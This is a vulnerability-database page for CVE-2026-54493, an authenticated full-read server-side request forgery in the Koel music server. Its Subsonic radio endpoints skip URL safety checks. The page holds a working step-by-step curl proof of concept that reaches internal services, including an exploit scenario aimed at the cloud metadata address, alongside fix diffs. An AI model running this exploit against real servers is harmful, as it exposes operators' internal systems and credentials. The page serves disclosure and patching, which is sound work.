Skip to main content

Koel CVE-2026-54493

HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-15 https://github.com/koel/koel GHSA-6p96-cfg5-4vhp
7.7
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
vuln.today AI
7.7 HIGH

Network-reachable Subsonic endpoint with a valid API key gives PR:L; low complexity; scope change since the server reaches other internal systems; full-read discloses internal data (C:H) with no integrity or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 15, 2026 - 17:31 vuln.today
Analysis Generated
Jul 15, 2026 - 17:31 vuln.today
CVE Published
Jul 15, 2026 - 17:13 github-advisory
HIGH 7.7

DescriptionGitHub Advisory

Summary

Koel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.

This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.

Details

SafeUrl is applied on the web API, but not on the Subsonic endpoints

Koel's regular radio API protects station URLs with SafeUrl and HasAudioContentType:

  • app/Http/Requests/API/Radio/RadioStationStoreRequest.php
  • app/Http/Requests/API/Radio/RadioStationUpdateRequest.php
php
new SafeUrl(),
new HasAudioContentType(),

The Subsonic-compatible routes do not reuse those checks:

  • routes/subsonic.php
  • createInternetRadioStation.view
  • updateInternetRadioStation.view
  • app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
  • app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
php
return [
    'streamUrl' => ['required', 'string'],
    'name' => ['required', 'string'],
    'homepageUrl' => ['nullable', 'string'],
];

The result is a validation gap between two routes that create the same type of object.

The unvalidated URL is stored and later fetched server-side

The Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:

  • app/Http/Controllers/Subsonic/CreateInternetRadioStationController.php
  • app/Http/Controllers/Subsonic/UpdateInternetRadioStationController.php
  • app/Services/RadioService.php

The SSRF is triggered when the station is played:

  • app/Http/Controllers/StreamRadioController.php
  • app/Services/Radio/RadioStreamService.php
  • app/Services/Radio/RadioStreamProxy.php

RadioStreamProxy::openStream() opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:

php
$stream = fopen($url, 'r', false, $context);
The response body is returned to the attacker

If the upstream response is treated as a normal stream, Koel forwards it back to the client:

php
while (!feof($stream) && !connection_aborted()) {
    echo fread($stream, 8192);
    flush();
}

That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.

This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.

PoC

The following steps were validated against the official phanan/koel:9.6.0 image.

  1. Authenticate and obtain an API token:
bash
API_TOKEN=$(
  curl -sS -X POST http://127.0.0.1:18081/api/me \
    -H 'Content-Type: application/json' \
    --data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
  1. Obtain the user's Subsonic API key:
bash
SUBSONIC_KEY=$(
  curl -sS http://127.0.0.1:18081/api/data \
    -H "Authorization: Bearer $API_TOKEN" \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)
  1. Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:
bash
TARGET_URL="http://172.17.0.1:18090/feed.xml"
  1. Confirm the regular web API blocks the URL:
bash
curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
  -H "Authorization: Bearer $API_TOKEN" \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  --data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"

Expected result:

  • HTTP 422
  • Error includes The url must point to a public URL.
  1. Create the same station through the Subsonic route:
bash
curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
  --data-urlencode "apiKey=$SUBSONIC_KEY" \
  --data-urlencode 'f=json' \
  --data-urlencode 'name=xmlpeek' \
  --data-urlencode "streamUrl=$TARGET_URL"

Expected result:

  • HTTP 200
  • JSON includes "status":"ok"
  1. Resolve the station ID and stream it:
bash
STATION_ID=$(
  curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
  | python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)

curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"

Expected result:

  • HTTP 200
  • Response body contains the upstream content from the internal target URL

An authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.

Practical impact includes:

  • Reading loopback-only, RFC1918, or Docker-bridge HTTP services
  • Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed
  • Performing internal HTTP reconnaissance and retrieving content through Koel itself

Since the response body is returned to the attacker, the impact is materially higher than a blind SSRF.

Remediation

The Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.

Suggested patch for app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php:

diff
diff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
@@
 namespace App\Http\Requests\Subsonic;

 use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
     public function rules(): array
     {
         return [
-            'streamUrl' => ['required', 'string'],
+            'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
             'name' => ['required', 'string'],
             'homepageUrl' => ['nullable', 'string'],
         ];
     }
 }

Suggested patch for app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php:

diff
diff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
@@
 namespace App\Http\Requests\Subsonic;

 use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
     public function rules(): array
     {
         return [
             'id' => ['required', 'string'],
-            'streamUrl' => ['required', 'string'],
+            'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
             'name' => ['required', 'string'],
             'homepageUrl' => ['nullable', 'string'],
         ];
     }
 }

Suggested defense-in-depth patch for app/Services/Radio/RadioStreamProxy.php:

diff
diff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php
--- a/app/Services/Radio/RadioStreamProxy.php
+++ b/app/Services/Radio/RadioStreamProxy.php
@@
 namespace App\Services\Radio;

+use App\Helpers\Network;
 use App\Models\RadioStation;

 class RadioStreamProxy
 {
+    public function __construct(private readonly Network $network) {}
+
@@
     public function openStream(string $url)
     {
+        if (!$this->network->isSafeUrl($url)) {
+            return false;
+        }
+
         $context = stream_context_create([
             'http' => [
                 'header' => "Icy-MetaData: 1\r\n",
                 'timeout' => 5,
             ],

AnalysisAI

{id}. Publicly available exploit code exists (a working PoC is published in the GHSA advisory), but it is not in CISA KEV and no active exploitation is identified.

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate and obtain Subsonic API key
Delivery
Create station via Subsonic endpoint with internal streamUrl
Exploit
Bypass SafeUrl validation gap
Execution
Request /radio/stream/{id} for the station
Persist
Server fetches internal URL and proxies body
Impact
Exfiltrate internal service content

Vulnerability AssessmentAI

Exploitation Requires a valid, authenticated Koel account with a Subsonic API key (PR:L) and reachability to the Subsonic REST endpoints. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The supplied CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N, 7.7 High) is internally consistent with the description: network-reachable, low complexity, requires a valid Subsonic API key (PR:L, authenticated), no user interaction, a scope change because the vulnerable component reaches other internal systems, and high confidentiality impact with no integrity or availability impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated Koel user (or anyone who can register where signup is open) retrieves their Subsonic API key, then calls /rest/createInternetRadioStation.view with streamUrl set to an internal target such as http://169.254.169.254/ or http://172.17.0.1:18090/feed.xml, bypassing the SafeUrl check the native API would apply. They look up the new station ID via getInternetRadioStations.view and request /radio/stream/{id}, and Koel fetches the internal URL and returns the upstream response body verbatim. …
Remediation Vendor-released patch: upgrade to Koel 9.7.0, which adds SafeUrl and HasAudioContentType validation to the Subsonic CreateInternetRadioStationRequest/UpdateInternetRadioStationRequest (and SafeUrl to the podcast channel request) and adds a defense-in-depth Network::isSafeUrl() check inside RadioStreamProxy::openStream() so an unsafe URL returns false before fopen() runs (see PR https://github.com/koel/koel/pull/2545 and commit https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Identify all systems running affected software and assess internet exposure and data criticality to inform patch prioritization. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-54493 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy